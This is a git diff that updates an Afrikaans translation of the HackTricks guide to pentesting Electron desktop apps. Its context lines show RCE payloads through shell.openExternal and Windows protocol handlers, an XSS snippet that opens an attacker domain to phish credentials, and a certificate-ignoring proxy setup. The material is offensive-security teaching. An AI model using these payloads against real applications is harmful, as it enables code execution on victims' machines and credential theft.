mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
parent
40bfee4520
commit
6a6aac1be2
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction
|
||||
## Inleiding
|
||||
|
||||
Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit sommige van die sekuriteitsmeganismes van moderne blaaiers mis.
|
||||
|
||||
Gewoonlik kan jy die electron app kode binne 'n `.asar` toepassing vind, om die kode te verkry moet jy dit onttrek:
|
||||
Gewoonlik sal jy die electron app kode binne 'n `.asar` toepassing vind, om die kode te verkry moet jy dit onttrek:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Die instellings van die **renderer-proses** kan **gekonfigureer** word in die **hoofproses** binne die main.js-lêer. Sommige van die konfigurasies sal **voorkom dat die Electron-toepassing RCE** of ander kwesbaarhede kry as die **instellings korrek geconfigureer** is.
|
||||
Die instellings van die **renderer-proses** kan **gekonfigureer** word in die **hoofproses** binne die main.js-lêer. Sommige van die konfigurasies sal **voorkom dat die Electron-toepassing RCE kry** of ander kwesbaarhede as die **instellings korrek geconfigureer is**.
|
||||
|
||||
Die electron-toepassing **kan toegang tot die toestel** verkry via Node-apis alhoewel dit geconfigureer kan word om dit te voorkom:
|
||||
Die electron-toepassing **kan toegang tot die toestel verkry** via Node-apis alhoewel dit geconfigureer kan word om dit te voorkom:
|
||||
|
||||
- **`nodeIntegration`** - is `af` per standaard. As dit aan is, laat dit toe om toegang te verkry tot node-funksies vanaf die renderer-proses.
|
||||
- **`contextIsolation`** - is `aan` per standaard. As dit af is, is hoof- en renderer-prosesse nie geïsoleer nie.
|
||||
- **`nodeIntegration`** - is `af` per standaard. As aan, laat dit toe om toegang te verkry tot node-funksies vanaf die renderer-proses.
|
||||
- **`contextIsolation`** - is `aan` per standaard. As af, is hoof- en renderer-prosesse nie geïsoleer nie.
|
||||
- **`preload`** - leeg per standaard.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is af per standaard. Dit sal die aksies wat NodeJS kan uitvoer beperk.
|
||||
- Node Integrasie in Werkers
|
||||
- **`nodeIntegrationInSubframes`** - is `af` per standaard.
|
||||
- As **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js APIs** in webbladsye wat in **iframes** binne 'n Electron-toepassing **gelaai** word, toelaat.
|
||||
- As **`nodeIntegration`** **gedeaktiveer** is, sal preloads in die iframe gelaai word.
|
||||
- As **`nodeIntegration`** **gedeaktiveer** is, sal preloads in die iframe laai.
|
||||
|
||||
Voorbeeld van konfigurasie:
|
||||
```javascript
|
||||
@ -101,7 +101,7 @@ Wysig die start-main konfigurasie en voeg die gebruik van 'n proxy soos by:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Plaaslike Kode Inspuiting
|
||||
## Electron Plaaslike Kode-inspuiting
|
||||
|
||||
As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat uitvoer willekeurige javascript kode. Kyk hoe in:
|
||||
|
||||
@ -177,13 +177,13 @@ electron-contextisolation-rce-via-ipc.md
|
||||
|
||||
### Bypass klik gebeurtenis
|
||||
|
||||
As daar beperkings toegepas word wanneer jy op 'n skakel klik, kan jy dalk hulle omseil **deur 'n middelklik** te doen in plaas van 'n gewone linkerklik
|
||||
As daar beperkings toegepas word wanneer jy op 'n skakel klik, mag jy in staat wees om dit te omseil **deur 'n middelklik** in plaas van 'n gewone linkerklik.
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE via shell.openExternal
|
||||
|
||||
Vir meer inligting oor hierdie voorbeelde, kyk [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) en [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
Vir meer inligting oor hierdie voorbeelde, kyk na [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) en [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Wanneer 'n Electron-desktoptoepassing ontplooi word, is dit van kardinale belang om die korrekte instellings vir `nodeIntegration` en `contextIsolation` te verseker. Dit is gevestig dat **kliënt-kant afstandkode-uitvoering (RCE)** wat op preload-skripte of Electron se inheemse kode van die hoofproses teiken, effektief voorkom word met hierdie instellings in plek.
|
||||
|
||||
@ -200,11 +200,11 @@ Hierdie luisteraars word **oorheers deur die lessenaartoepassing** om sy eie **b
|
||||
|
||||
.png>)
|
||||
|
||||
Electron JS sekuriteitsbeste praktyke raai teen die aanvaarding van onbetroubare inhoud met die `openExternal` funksie, aangesien dit kan lei tot RCE deur verskeie protokolle. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan ontketen. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan 'n mens na [hierdie hulpbron](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows-protokolvoorbeelde insluit wat in staat is om hierdie kwesbaarheid te benut.
|
||||
Electron JS sekuriteitsbeste praktyke raai teen die aanvaarding van onbetroubare inhoud met die `openExternal` funksie, aangesien dit kan lei tot RCE deur verskeie protokolle. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan ontketen. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan 'n mens na [hierdie hulpbron](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows protokolvoorbeelde insluit wat in staat is om hierdie kwesbaarheid te benut.
|
||||
|
||||
In macos kan die `openExternal` funksie benut word om arbitrêre opdragte uit te voer soos in `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Voorbeelde van Windows-protokolontploffings sluit in:**
|
||||
**Voorbeelde van Windows protokol eksploit is:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -260,9 +260,9 @@ Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL te open, deur
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Die oproep na **`openInternally`** sal besluit of die **skakel** in die **desktop venster** geopen sal word, aangesien dit 'n skakel is wat aan die platform behoort, **of** of dit in die **blaaier as 'n 3de party hulpbron** geopen sal word.
|
||||
Die oproep na **`openInternally`** sal besluit of die **skakel** in die **desktop venster** geopen sal word aangesien dit 'n skakel is wat aan die platform behoort, **of** of dit in die **blaaier as 'n 3de party hulpbron** geopen sal word.
|
||||
|
||||
In die geval dat die **regex** wat deur die funksie gebruik word **kwulnerabel is vir omseilings** (byvoorbeeld deur **nie die punte van subdomeine te ontsnap nie**) kan 'n aanvaller die XSS misbruik om **'n nuwe venster te open wat** in die aanvallers infrastruktuur geleë sal wees **wat om akrediteeringe** van die gebruiker vra:
|
||||
In die geval dat die **regex** wat deur die funksie gebruik word **kwulnerabel is vir omseilings** (byvoorbeeld deur **nie die punte van subdomeine te ontsnap**) kan 'n aanvaller die XSS misbruik om **'n nuwe venster te open wat** in die aanvallers infrastruktuur geleë sal wees **wat om akrediteeringe** van die gebruiker vra:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -270,15 +270,15 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
```
|
||||
## Remote module
|
||||
|
||||
Die Electron Remote module laat **renderer prosesse toegang tot hoof proses API's** toe, wat kommunikasie binne 'n Electron toepassing vergemaklik. Dit stel egter beduidende sekuriteitsrisiko's in. Dit vergroot die toepassing se aanvaloppervlak, wat dit meer kwesbaar maak vir kwesbaarhede soos cross-site scripting (XSS) aanvalle.
|
||||
Die Electron Remote module laat **renderer prosesse toegang tot hoof proses API's** toe, wat kommunikasie binne 'n Electron-toepassing vergemaklik. Die aktivering van hierdie module bring egter beduidende sekuriteitsrisiko's mee. Dit vergroot die toepassing se aanvaloppervlak, wat dit meer kwesbaar maak vir kwesbaarhede soos cross-site scripting (XSS) aanvalle.
|
||||
|
||||
> [!TIP]
|
||||
> Alhoewel die **remote** module 'n paar API's van hoof na renderer prosesse blootstel, is dit nie reguit om RCE te verkry net deur die komponente te misbruik nie. Die komponente mag egter sensitiewe inligting blootstel.
|
||||
> Alhoewel die **remote** module 'n paar API's van hoof na renderer prosesse blootstel, is dit nie reguit om RCE te verkry net deur die komponente te misbruik nie. Die komponente kan egter sensitiewe inligting blootstel.
|
||||
|
||||
> [!WARNING]
|
||||
> Baie toepassings wat steeds die remote module gebruik, doen dit op 'n manier wat **NodeIntegration geaktiveer moet wees** in die renderer proses, wat 'n **groot sekuriteitsrisiko** is.
|
||||
|
||||
Sedert Electron 14 mag die `remote` module van Electron in verskeie stappe geaktiveer word, maar weens sekuriteits- en prestasieredene is dit **aanbeveel om dit nie te gebruik nie**.
|
||||
Sedert Electron 14 kan die `remote` module van Electron in verskeie stappe geaktiveer word, maar weens sekuriteits- en prestasieredene is dit **aanbeveel om dit nie te gebruik nie**.
|
||||
|
||||
Om dit te aktiveer, moet dit eers **in die hoof proses geaktiveer word**:
|
||||
```javascript
|
||||
@ -306,7 +306,7 @@ Die **[blog pos](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Voeg** take by die **Take kategorie** in die **Jump List** (op Windows). Elke taak kan beheer hoe die toepassing **begin** of watter **argumente** oorgedra word.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Importeer** 'n **PKCS#12 sertifikaat** in die stelsel se **sertifikaatwinkel** (slegs Linux). 'n **Terugroep** kan gebruik word om die resultaat te hanteer.
|
||||
- **Importeer** 'n **PKCS#12 sertifikaat** in die stelsel se **sertifikaatwinkel** (slegs Linux). 'n **callback** kan gebruik word om die resultaat te hanteer.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Verskuif** die toepassing na die **Toepassingsgids** (op macOS). Help om 'n **standaard installasie** vir Mac-gebruikers te verseker.
|
||||
- **`app.setJumpList(categories)`**
|
||||
@ -319,7 +319,7 @@ Native.app.exit()
|
||||
```
|
||||
## systemPreferences module
|
||||
|
||||
Die **primêre API** vir die toegang tot stelselsvoorkeure en **uitstoot van stelselsgebeurtenisse** in Electron. Metodes soos **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, en **setUserDefault** is almal **deel van** hierdie module.
|
||||
Die **primêre API** vir toegang tot stelselsvoorkeure en **uitstoot van stelselsgebeurtenisse** in Electron. Metodes soos **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, en **setUserDefault** is almal **deel van** hierdie module.
|
||||
|
||||
**Voorbeeld gebruik:**
|
||||
```javascript
|
||||
@ -344,7 +344,7 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
* **Interfases** met **NSUserDefaults**, wat **toepassing** of **globale** voorkeure op macOS stoor.
|
||||
|
||||
* **getUserDefault** kan **sensitiewe** inligting terugkry, soos **onlangs lêer plekke** of **gebruiker se geografiese ligging**.
|
||||
* **getUserDefault** kan **sensitiewe** inligting **herwin**, soos **onlangs lêer plekke** of **gebruiker se geografiese ligging**.
|
||||
|
||||
* **setUserDefault** kan **wysig** hierdie voorkeure, wat moontlik 'n app se **konfigurasie** kan beïnvloed.
|
||||
|
||||
@ -354,7 +354,19 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
Hierdie funksie wys die gegewe lêer in 'n lêerbestuurder, wat **die lêer outomaties kan uitvoer**.
|
||||
|
||||
Vir meer inligting, kyk na [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
Vir meer inligting, kyk [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Electron programme moet 'n **Content Security Policy (CSP)** hê om **XSS-aanvalle** te **voorkom**. Die **CSP** is 'n **veiligheidsstandaard** wat help om die **uitvoering** van **onbetroubare kode** in die blaaier te **voorkom**.
|
||||
|
||||
Dit word gewoonlik **gekonfigureer** in die **`main.js`** lêer of in die **`index.html`** sjabloon met die CSP binne 'n **meta tag**.
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
## **Tools**
|
||||
|
||||
@ -365,7 +377,7 @@ Vir meer inligting, kyk na [https://blog.doyensec.com/2021/02/16/electron-apis-m
|
||||
|
||||
## Labs
|
||||
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) kan jy 'n laboratorium vind om kwesbare Electron-apps te benut.
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) kan jy 'n laboratorium vind om kwesbare Electron-toepassings te benut.
|
||||
|
||||
Sommige opdragte wat jou sal help met die laboratorium:
|
||||
```bash
|
||||
|
Loading…
x
Reference in New Issue
Block a user